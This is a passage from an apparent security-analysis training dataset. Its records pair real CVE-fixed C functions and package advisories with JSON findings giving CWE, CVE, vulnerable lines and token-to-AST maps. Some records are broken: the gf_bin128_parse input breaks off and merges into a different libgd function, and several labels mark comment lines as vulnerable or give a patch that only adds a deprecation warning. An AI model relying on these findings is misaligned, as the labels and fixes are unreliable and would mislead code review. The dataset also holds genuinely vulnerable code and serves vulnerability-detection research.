BTHH_CONN_STATE_UNKNOWN &&\n p_dev->dev_handle == dev_handle) {\n APPL_TRACE_WARNING(\"%s: Found an existing device with the same handle \"\n \"dev_status = %d\",__FUNCTION__,\n p_dev->dev_status);\n APPL_TRACE_WARNING(\"%s: bd_addr = [%02X:%02X:%02X:%02X:%02X:]\", __FUNCTION__,\n p_dev->bd_addr.address[0], p_dev->bd_addr.address[1], p_dev->bd_addr.address[2],\n p_dev->bd_addr.address[3], p_dev->bd_addr.address[4]);\n APPL_TRACE_WARNING(\"%s: attr_mask = 0x%04x, sub_class = 0x%02x, app_id = %d\",\n\n __FUNCTION__, p_dev->attr_mask, p_dev->sub_class, p_dev->app_id);\n \n if(p_dev->fd<0) {\n p_dev->fd = open(dev_path, O_RDWR | O_CLOEXEC);\n if (p_dev->fd < 0){\n APPL_TRACE_ERROR(\"%s: Error: failed to open uhid, err:%s\",\n __FUNCTION__,strerror(errno));\n return;\n }else\n APPL_TRACE_DEBUG(\"%s: uhid fd = %d\", __FUNCTION__, p_dev->fd);\n }\n\n p_dev->hh_keep_polling = 1;\n p_dev->hh_poll_thread_id = create_thread(btif_hh_poll_event_thread, p_dev);\n break;\n }\n p_dev = NULL;\n }\n\n if (p_dev == NULL) {\n for (i = 0; i < BTIF_HH_MAX_HID; i++) {\n if (btif_hh_cb.devices[i].dev_status == BTHH_CONN_STATE_UNKNOWN) {\n p_dev = &btif_hh_cb.devices[i];\n p_dev->dev_handle = dev_handle;\n p_dev->attr_mask = attr_mask;\n p_dev->sub_class = sub_class;\n p_dev->app_id = app_id;\n p_dev->local_vup = FALSE;\n\n \n btif_hh_cb.device_num++;\n p_dev->fd = open(dev_path, O_RDWR | O_CLOEXEC);\n if (p_dev->fd < 0){\n APPL_TRACE_ERROR(\"%s: Error: failed to open uhid, err:%s\",\n __FUNCTION__,strerror(errno));\n return;\n }else{\n APPL_TRACE_DEBUG(\"%s: uhid fd = %d\", __FUNCTION__, p_dev->fd);\n p_dev->hh_keep_polling = 1;\n p_dev->hh_poll_thread_id = create_thread(btif_hh_poll_event_thread, p_dev);\n }\n\n\n break;\n }\n }\n }\n\n if (p_dev == NULL) {\n APPL_TRACE_ERROR(\"%s: Error: too many HID devices are connected\", __FUNCTION__);\n return;\n }\n\n p_dev->dev_status = BTHH_CONN_STATE_CONNECTED;\n APPL_TRACE_DEBUG(\"%s: Return device status %d\", __FUNCTION__, p_dev->dev_status);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3839\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 28,\n 56\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"for_statement\",\n \"compound_statement\",\n \"if_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 27,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 27,\n \"col\": 15\n },\n {\n \"token\": \"p_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 27,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 27,\n \"col\": 21\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"field_identifier\",\n \"line\": 27,\n \"col\": 23\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 27,\n \"col\": 25\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 27,\n \"col\": 26\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 27,\n \"col\": 27\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 27,\n \"col\": 29\n },\n {\n \"token\": \"p_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 28,\n \"col\": 21\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"field_identifier\",\n \"line\": 28,\n \"col\": 23\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 28,\n \"col\": 26\n },\n {\n \"token\": \"open\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 28\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 28,\n \"col\": 32\n },\n {\n \"token\": \"dev_path\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 28,\n \"col\": 41\n },\n {\n \"token\": \"O_RDWR\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 43\n },\n {\n \"token\": \"|\",\n \"ast_node\": \"|\",\n \"line\": 28,\n \"col\": 50\n },\n {\n \"token\": \"O_CLOEXEC\",\n \"ast_node\": \"identifier\",\n \"line\": 28,\n \"col\": 52\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 28,\n \"col\": 61\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 28,\n \"col\": 62\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 29,\n \"col\": 17\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 29,\n \"col\": 20\n },\n {\n \"token\": \"p_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 29,\n \"col\": 21\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 29,\n \"col\": 26\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"field_identifier\",\n \"line\": 29,\n \"col\": 28\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 29,\n \"col\": 31\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 29,\n \"col\": 33\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 29,\n \"col\": 34\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 29,\n \"col\": 35\n },\n {\n \"token\": \"APPL_TRACE_ERROR\",\n \"ast_node\": \"identifier\",\n \"line\": 30,\n \"col\": 21\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 30,\n \"col\": 37\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 30,\n \"col\": 38\n },\n {\n \"token\": \"%s: Error: failed to open uhid, err:%s\",\n \"ast_node\": \"string_content\",\n \"line\": 30,\n \"col\": 39\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 30,\n \"col\": 77\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 30,\n \"col\": 78\n },\n {\n \"token\": \"__FUNCTION__\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 69\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 31,\n \"col\": 81\n },\n {\n \"token\": \"strerror\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 82\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 31,\n \"col\": 90\n },\n {\n \"token\": \"errno\",\n \"ast_node\": \"identifier\",\n \"line\": 31,\n \"col\": 91\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 96\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 31,\n \"col\": 97\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 31,\n \"col\": 98\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 32,\n \"col\": 1\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 32,\n \"col\": 7\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 33,\n \"col\": 1\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 33,\n \"col\": 2\n },\n {\n \"token\": \"APPL_TRACE_DEBUG\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 36\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 34,\n \"col\": 37\n },\n {\n \"token\": \"%s: uhid fd = %d\",\n \"ast_node\": \"string_content\",\n \"line\": 34,\n \"col\": 38\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 34,\n \"col\": 54\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 55\n },\n {\n \"token\": \"__FUNCTION__\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 57\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 69\n },\n {\n \"token\": \"p_dev\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 71\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 34,\n \"col\": 76\n },\n {\n \"token\": \"fd\",\n \"ast_node\": \"field_identifier\",\n \"line\": 34,\n \"col\": 78\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-326", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: DotNetNuke.Core\nInstalled version: 9.2.0\nSummary: Inadequate Encryption Strength in DotNetNuke", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-h595-8pw6-5q6v\",\n \"cve\": \"CVE-2018-15811\",\n \"aliases\": [\n \"CVE-2018-15811\"\n ],\n \"cwe\": \"CWE-326\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"DotNetNuke.Core\",\n \"severity\": \"high\",\n \"affected_versions\": \">=9.2.0, <9.2.2\",\n \"fixed_version\": \"9.2.2\",\n \"finding\": \"Inadequate Encryption Strength in DotNetNuke\",\n \"remediation\": \"Upgrade DotNetNuke.Core to 9.2.2 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/axllent/mailpit\nInstalled version: <1.28.3\nSummary: Mailpit has an SMTP Header Injection via Regex Bypass in github.com/axllent/mailpit", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-4333\",\n \"cve\": \"CVE-2026-23829\",\n \"aliases\": [\n \"CVE-2026-23829\",\n \"GHSA-54wq-72mp-cq7c\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/axllent/mailpit\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.28.3\",\n \"fixed_version\": \"1.28.3\",\n \"finding\": \"Mailpit has an SMTP Header Injection via Regex Bypass in github.com/axllent/mailpit\",\n \"remediation\": \"Upgrade github.com/axllent/mailpit to 1.28.3 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " int jas_stream_pad(jas_stream_t *stream, int n, int c)\n {\n \tint m;\n \tm = n;\n \tfor (m = n; m > 0; --m) {\n \t\tif (jas_stream_putc(stream, c) == EOF)\n\t\t\treturn n - m;\n\t}\n\treturn n;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2016-9262\",\n \"fixed_code\": \" int jas_stream_pad(jas_stream_t *stream, int n, int c)\\n {\\n \\tint m;\\n\\tif (n < 0) {\\n\\t\\tjas_deprecated(\\\"negative count for jas_stream_pad\\\");\\n\\t}\\n \\tm = n;\\n \\tfor (m = n; m > 0; --m) {\\n \\t\\tif (jas_stream_putc(stream, c) == EOF)\\n\\t\\t\\treturn n - m;\\n\\t}\\n\\treturn n;\\n}\\n\",\n \"change_summary\": \"Made some changes to the I/O stream library for memory streams.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "GF_Err gf_bin128_parse(const char *string, bin128 value)\n{\n\tu32 len;\n\tu32\ti=0;\n\tif (!strnicmp(string, \"0x\", 2)) string += 2;\n\tlen = (u32) strlen(string);\n\tif (len >= 32) {\n\t\tu32 j;\n\t\tfor (j=0; jgd_free(out);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-415\",\n \"cwe_name\": \"Double Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-6912\",\n \"project\": \"libgd\",\n \"vulnerable_lines\": [\n 7\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"BGD_DECLARE\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"gdImageWebpEx\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"gdImagePtr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"im\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"FILE\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"outFile\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 62\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"quality\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"gdIOCtx\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 14\n },\n {\n \"token\": \"gdNewFileCtx\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 28\n },\n {\n \"token\": \"outFile\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 6\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"gdImageWebpCtx\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \"im\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"quality\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"gd_free\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 9,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static int get_exif_tag_int_value(struct iw_exif_state *e, unsigned int tag_pos,\n\tunsigned int *pv)\n{\n \tunsigned int field_type;\n \tunsigned int value_count;\n \n\tfield_type = iw_get_ui16_e(&e->d[tag_pos+2],e->endian);\n\tvalue_count = iw_get_ui32_e(&e->d[tag_pos+4],e->endian);\n \n \tif(value_count!=1) return 0;\n \n \tif(field_type==3) { // SHORT (uint16)\n\t\t*pv = iw_get_ui16_e(&e->d[tag_pos+8],e->endian);\n \t\treturn 1;\n \t}\n \telse if(field_type==4) { // LONG (uint32)\n\t\t*pv = iw_get_ui32_e(&e->d[tag_pos+8],e->endian);\n \t\treturn 1;\n \t}\n \n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-9207\",\n \"project\": \"imageworsener\",\n \"vulnerable_lines\": [\n 7,\n 8,\n 13,\n 17\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"get_exif_tag_int_value\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 35\n },\n {\n \"token\": \"iw_exif_state\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"tag_pos\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 73\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 80\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \"pv\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 17\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 11\n },\n {\n \"token\": \"field_type\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"value_count\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \"field_type\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 12\n },\n {\n \"token\": \"iw_get_ui16_e\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 27\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 7,\n \"col\": 28\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 29\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 30\n },\n {\n \"token\": \"d\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 7,\n \"col\": 33\n },\n {\n \"token\": \"tag_pos\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 34\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 7,\n \"col\": 41\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 7,\n \"col\": 42\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 7,\n \"col\": 43\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 45\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 46\n },\n {\n \"token\": \"endian\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 54\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 55\n },\n {\n \"token\": \"value_count\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"iw_get_ui32_e\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 28\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 8,\n \"col\": 29\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 30\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 31\n },\n {\n \"token\": \"d\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 33\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 8,\n \"col\": 34\n },\n {\n \"token\": \"tag_pos\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 35\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 8,\n \"col\": 42\n },\n {\n \"token\": \"4\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 43\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 8,\n \"col\": 44\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 45\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void set_task_blockstep(struct task_struct *task, bool on)\n{\n\tunsigned long debugctl;\n\n\t/*\n \t * Ensure irq/preemption can't change debugctl in between.\n \t * Note also that both TIF_BLOCKSTEP and debugctl should\n \t * be changed atomically wrt preemption.\n\t * FIXME: this means that set/clear TIF_BLOCKSTEP is simply\n\t * wrong if task != current, SIGKILL can wakeup the stopped\n\t * tracee and set/clear can play with the running task, this\n\t * can confuse the next __switch_to_xtra().\n \t */\n \tlocal_irq_disable();\n \tdebugctl = get_debugctlmsr();\n\tif (on) {\n\t\tdebugctl |= DEBUGCTLMSR_BTF;\n\t\tset_tsk_thread_flag(task, TIF_BLOCKSTEP);\n\t} else {\n\t\tdebugctl &= ~DEBUGCTLMSR_BTF;\n\t\tclear_tsk_thread_flag(task, TIF_BLOCKSTEP);\n\t}\n\tif (task == current)\n\t\tupdate_debugctlmsr(debugctl);\n\tlocal_irq_enable();\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-0871\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 9,\n 10,\n 11,\n 12\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"set_task_blockstep\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"task_struct\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": 